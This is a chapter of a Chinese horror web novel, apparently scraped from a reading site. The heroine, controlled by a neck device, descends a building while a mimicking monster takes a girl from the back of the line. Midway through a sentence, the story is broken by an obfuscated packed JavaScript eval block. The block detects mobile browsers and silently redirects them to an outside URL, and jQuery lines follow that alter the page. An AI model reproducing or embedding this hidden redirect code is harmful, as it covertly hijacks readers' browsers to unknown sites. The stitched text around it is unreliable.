卫晓的身体在机械地前进,手脚在一丝不苟地摆动,灵魂却像被留在了一楼楼梯间,年轻人亮眼的黄-色外套似乎烙在了视网膜上,不管她怎么闭眼甩头也挥之不去,一种奇怪的,规律起伏的嗡嗡声缭绕在耳边,似乎是压低声音在窃窃私语的人声,又或者只是无意义的耳鸣,腥甜的气味越发浓烈。
快点快点快点来不及了……那嗡嗡声在卫晓脑袋深处反复呢-喃着,呼吸剧烈颤-抖,冷汗浸-湿了头发。
快点快点快点……
快点去做什么?
是什么?
答案呼之欲出,她却晕头转向,始终找不到那个准确的表达,卫晓愈发急躁。
是什么来着?她要做什么来着?
卫晓很久没有那么极致地思考过了,她仿佛要钻进自己脑子的最深处,光怪陆离的色斑不断从眼前亮起又消失。
找不到,找不到,想不起来!
忽然,某种触感幻觉般出现在卫晓指尖,是一种粗糙的布料,一道一道的,甚至磨得皮肤有点痛。
这是什么?
卫晓想更用力地去触摸一下,但是她的手完全不听使唤,这让卫晓莫名愤怒起来,她憋着劲,将所有的注意力都集中在了手指上,只想让一点知觉都没有的手稍微动一下。
动啊动啊动啊!
手指微微一抽,触电般的疼痛从后颈处猛地炸开来,强烈的刺-激让卫晓眩晕的脑子仿佛被烧红的针扎穿了,嗡嗡声一下减弱,卫晓满头大汗,才发现自己一直深深低头,半闭着眼睛走路,刚才仿佛是在半梦半醒间做了一场噩梦。
昏暗的走廊里,队伍正在安静地前进,不知何时,他们已经离开了楼梯间,旁边的牌子显示这里是地下一百一十九层。布局倒是和一层一样,笔直的走廊,两侧挤满了房间,只是灯光愈发稀少,一些异常巨大的深色藤蔓出现在周围,它们四处蜿蜒,深深陷入了墙壁里,看上去甚至是和墙壁融为了一体,宽大的叶子横七竖八,将本就不宽的走廊挤压得越发无处落脚,重重障碍中,大家的步伐已经不像进来时那样整齐划一。
疼痛的余韵还留在后颈处,卫晓深吸了几口腥甜的空气,搓了搓手指,想起来了那种粗糙的触感是什么。
她家的沙发套。
蓝色的、有一些金色花纹的,有凸-起的竖条纹的沙发套,是她妈在直播间蹲到的便宜布料,为了运费少一点,就先寄到了她学校,然后再由她带回家,美其名曰保护沙发。
妈妈对这个沙发套满意极了,卫晓只觉得坐得也挺舒服,摩-擦力很强的布料可以让她以各种姿势自由地在沙发上看手机,不会滑下去,卫晓也就这么度过了好几个无所事事的悠闲假期。
那种的触感实在不多见,大约是卫晓的指尖牢牢记住了那个感觉,那感觉又和家联系到了一起。
她想回家,她要活着回家。
找到目标的踏实感令卫晓平静了一点,尽管狂奔的人群和年轻人的亮黄-色外套还是在脑海里挥之不去,但她的大脑不再感到眩晕,卫晓无意识地搓搓手指,又回味了一下那个触感。决定先观察一下现在的情况。
......搓搓手指?
卫晓忽然低头盯着右手,视线里的双臂还在机械地前后摆动,但摇晃间,她分明看到了右手手指拢起,轻轻摩-擦了一下。
她夺回了一点点的身体控制权!
卫晓呼吸急促起来,金属片的控制不是无解的!她还记得那种集中所有注意力,用尽全身力气去让手指动一下的感觉,那她是不是能逐渐摆脱控制?
想到这里卫晓急忙闭眼,想象着控制肌肉和筋腱,让右手臂停下。
不行,但没过一会她就焦躁睁眼,做不到。
试试脚呢,卫晓连忙又换了个部-位,闭眼尝试。
还是不行,睁眼的时候卫晓尝到了血腥味,刚才她无意识地咬嘴唇,咬出血了。
冷静……她控制着自己的呼吸,像自己一贯做的那样,先将四处乱撞的思绪暂停一下,想象着自己在重启大脑。急什么,慢慢来,在缓慢的吐息中,卫晓习惯性地对自己说。
对啊,急什么。
卫晓一愣,她在急什么?回想自己的状态,从进入“灰巢”开始,她除了恐惧,就是在着急。过去她是那种总说不要急不要慌,知道越急越完蛋的人,现在怎么回事。
是因为脖子上的金属片,还是“灰巢”?有什么东西从心理上影响了她。卫晓看着前面的人,再次列出两个选项,心里有点发毛。
她现在还不好判断原因,但不管是什么,心理上的影响和身体上的控制一样,让卫晓有一种失控的恐惧,她感觉自己因此不是自己了。
这时,队伍的速度再次放缓,乃至逐渐停住脚步。往前看去,藤蔓和碎石已经彻底堵死了通道,只有一条狭窄的缝隙可以让人勉强通过。再仔细看,粗壮的茎叶上全是凌乱的切割痕迹,一些七零八碎的装备和小块的植物碎片丢在地上,看来之前已经有其他队伍到达过这里,开辟出了一条道路。
前面的人正在依次穿过缝隙。透过零落的人群,卫晓能看到三人小队站在队伍最前面,率先通过了缝隙,绒绒和酥七在中段,四盒在后面一点,看上去一切都好。而在一群后脑勺中,她们努力转头的背影显得格外明显。见卫晓恢复神志,前面的酥七率先做了一个夸张的松了一口气的表情,大眼睛眨着,咧出了一个大大的笑容,四盒看到卫晓抬头,也露出了一点笑容,绒绒微微点了点头,表情却有点凝重,担忧地注视着她。
怎么了?卫晓知道自己失去意识吓到大家了,看见大家都平安无事,让她也大松一口气。但绒绒的表情让她感到了一丝不安,她努力做出一个疑惑的表情,但绒绒也无法回答,只能无奈地转过头去。
而且人也变少了,卫晓粗略地扫了一眼,进来的队伍有六十来人,一楼减员两人,但现在大概只有二十人了,她已经站在了队伍最后,右边是一个蓝发女孩,头无力地耷拉下来,而转头看去,身后已经空无一人,只有一片昏沉的黑灰色,深色的藤蔓若隐若现。
似乎有风从黑暗的楼道冷冷地吹来,卫晓急忙转回头来,背后没人,这个现实让她的寒毛猛地炸了起来,她尽量转移注意力,观察前面的其他人,为什么减员?又是奔跑的人群吗,还是在她意识不清的时候又发生了什么??
卫晓忽然再次想起了绒绒的视线,充满担忧的,不安的视线,她没见过绒绒露出那种表情,并且绒绒其实没有在和她对视。
有一种可能,可怕的想法慢慢浮现,卫晓脱离控制的手指抽搐了一下,绒绒不是在看她,而是她身后。
为什么她原来在中间偏后的位置现在却到了最后,在她后面的那些人去了哪里?
咔哒
一声牙齿咬合的轻微异响忽然在背后响起,混在脚步声里其实微小得让人很难注意到,卫晓却心头一紧,旋即,一种莫名的、更强烈的恐惧让她的思维停滞了。不是背后无人那种虚无的恐惧感,而是几乎是某种实体,它在黑暗中悄无声息地接近,现在正阴冷地立在卫晓背后。
是幻听吗?是幻觉吗?
咔哒
又是一声,这不是幻觉,她背后黑暗里有东西,有什么??什么东西???
卫晓恢复自由的手指颤-抖起来,本能在尖叫着让她快跑,不顾一切地往前跑。
咔哒
声音更近了一点。
有什么东西在接近,什么,是什么??绒绒在担忧地看什么?
恐惧下卫晓的心跳得快要爆炸了,可她完全动不了,除了勉强动作的右手手指,全身都和水泥浇筑的一样,只能直挺挺地立在台阶上,队伍还在慢慢地一个一个通过缝隙,前面还有至少十个人,还有一个被卡住了正在痛苦地往里挤!
至少,至少,回头看一下,冷汗不停地顺着脖子往下流,卫晓牙关咬得死紧,疼痛勉强唤回了一点理智,不要死得不明不白的,卫晓,卫晓,回头看一眼啊!
僵硬的颈椎一寸寸转动,卫晓勉强往左边偏过头去,用余光往后撇。
但身后的黑暗里空无一物,不受控制的身体极大地限制了后方视野,目之所及除了藤蔓没看到任何异物。
心微微放下了一点,或许就是幻觉呢?卫晓努力安慰自己,但视线略微往下,在右边最极限的视野边缘,她看到什么东西抽-动了一下。
在右边,她和蓝衣女孩中间,有什么东西,已经离她们很近了。
卫晓猛地把头转了回去,蓝衣女孩还是垂着头一动不动,前面除了绒绒三人之外没有任何人回头,都在沉默地依次穿过缝隙,卫晓能看到绒绒的表情严肃得可怕,眼睛盯着她右后方。
什么东西?卫晓颤-抖着试图向绒绒发问,却什么声音都发不出来,只能比划口型,绒绒也没有回应,只是专注地看着,眉头紧皱,似乎在思考什么。
咔哒
更清晰的声音从身后传来,不是幻觉,卫晓终于彻底放下幻想,不用转头了,眼角余光已经能看到那个“东西”了。
右后方的地上“跪”着一个人。
或许不能说是跪着,或许也不能说是“人”,那个“他”穿着一身平平无奇的黑白睡衣,但皮肤惨白,双膝着地,身体以一个类似下腰的姿势扭曲折叠着,后背几乎要贴到屁-股上。细长的双手反向撑在地面,上下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351496|199616||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颠倒的圆脸面对着卫晓,缓慢转动的眼球巨大暴突,几乎要从眼眶里掉出来。
咔哒
“他”的嘴唇微动,发出了轻微的牙齿碰撞声,撑在地上的手和膝盖在地上摩-擦着,又靠近了一点。或许是因为卫晓的目光,原本直直看向前方的眼球神经质地滑-动了一圈,正好与她对视了。
跑跑跑跑跑跑!一瞬间脑子像被攥住了,思维停滞,只有本能爆发出了最尖锐的警告。
至少要比其他人更往前!她不要在最后一个!快跑快跑快跑!
就在卫晓拼尽全力要向前跨步的瞬间,旁边一直一动不动的蓝衣女孩忽然双手不自然地举高,开始用力挥动,同时双脚有节奏地开合跳起来。
“不...不要,救救我!”她猛地抬头,如梦初醒,回头看了一眼之后恍惚的神色被恐惧代替了,一边动作一边哆嗦着出声,表情扭曲地看着旁边的卫晓,“为什么是我?救我...救我!不要!”
咔哒
身后的怪物露出了一个倒着的微笑,细小的、密密麻麻的尖牙从咧开的嘴唇间探了出来,它凸-起的眼睛一动不动地盯着女孩的后脑勺,然后在令人牙酸的骨节声响中慢慢直起腰,站起身来,也举起双手,一下一下跳着。
起身后,它的身高可能接近了两米,手指可以几乎碰到天花板,高大的阴影完全笼罩了女孩。它还是背对他们的,脸却一百八十度扭转,带着诡异的微笑盯着女孩。
两人的动作逐渐重合,乃至变得一模一样,就像镜子一样映照出女孩,它甚至张开了嘴巴,模仿着女孩的声音一下一下叫起来,变调的嘶哑声音和女孩撕心裂肺的尖叫一起回荡在安静的走廊里。
这时卫晓终于被控制着往前走了,她拼命转头往后看,女孩却被控制着开始往后跑,怪物如影随形,在旁边一丝不苟地模仿着女孩的每一个动作,丝滑得如同镜子的两边,两人的距离越来越近,怪物暴突的眼球几乎都要贴上女孩蓝色的齐肩发。
藤蔓和墙壁阻挡了卫晓的视线,只留下女孩的惨叫层层回荡,直到戛然而止。前面依旧没人回头,队伍穿过了缝隙,沉默地继续在崎岖的走廊上前进。
这就是减员的原因吗,这个怪物只能引开不能消灭?所以才千辛万苦带这么多人下来?卫晓脱离控制的右手手指抖得厉害,反胃的感觉一阵阵往上涌,她盯着前面绒绒黑色的后脑勺,试图让自己冷静一点,绒绒你看到我在最后,担心下一个就是我吗?
现在蓝衣女孩绝望的眼神代替了年轻人的亮黄-色外套,她的耳边一半是“咔哒”的牙齿撞击声一边是女孩“为什么是我”的尖叫声,这次没有那种仿佛陷入噩梦的不受控感了,她思维清楚,也因此愈发恐惧。
回家回家她要回家,卫晓牙齿都要咬碎了,但她还是无法让自己放松下来,回家回家回家……脑海中的画面不断闪动,一会是跪着的“人”,一会是亮黄-色的外套,一会是蓝色的头发和暴突的眼球,卫晓用力摩挲着手指,反复回想家里沙发布的粗糙触感。
下一个就是我,但这个可拍的想法牢牢地占据了理智的高地,她还在队伍最后,身边的蓝衣女孩已经被送出去了,下一个就该她。
卫晓能看见绒绒还在担忧地回望,但她已经无法依靠绒绒,大家都动弹不得,她只有她自己。
听觉忽然敏感得不可思议,卫晓不敢回头,只能不受控制地,全神贯注地听着身后的声音,听着那不知道什么时候会响起的“咔哒”声。
她要往前一点,绝望中卫晓抓住了唯一的救命稻草,至少能控制双腿,往前走一点,她不要死。
怀着这唯一的愿望,卫晓孤注一掷地试图让自己右腿停下,回家的渴望让她做出了到这里来的选择,她不后悔,这是她自己选的,只要现在她还没死,她就还有机会回家。
滋——
轻微的电流声响起,后颈开始传来尖锐的剧痛,让卫晓眼前一阵阵发晕,但死亡的恐惧混合着回家的渴望带来了巨大的力量,一直隐隐约约的焦躁更是添了一把火,她咬紧牙关,拼尽全力控制右腿。
动一下动一下,动一下都好!
疼痛越来越剧烈,神志都开始模糊了,脑子里一片嗡嗡声,但右腿纹丝不动,她还在队伍最后。
咔哒
忽然,牙关碰撞的声音幻觉般从某处传来,卫晓僵住了,恐惧终于却突破了界限,她的右腿顿了一下,整个人失去平衡,直直地摔倒在地,沉闷的疼痛传来,一片锋利的藤蔓叶子从眉心一路划到脸颊,鲜血涌出。
她要死了吗。
卫晓僵硬地趴在地上,血流进了眼睛,一片血红的视野中,只能隐约看见有个人影接近。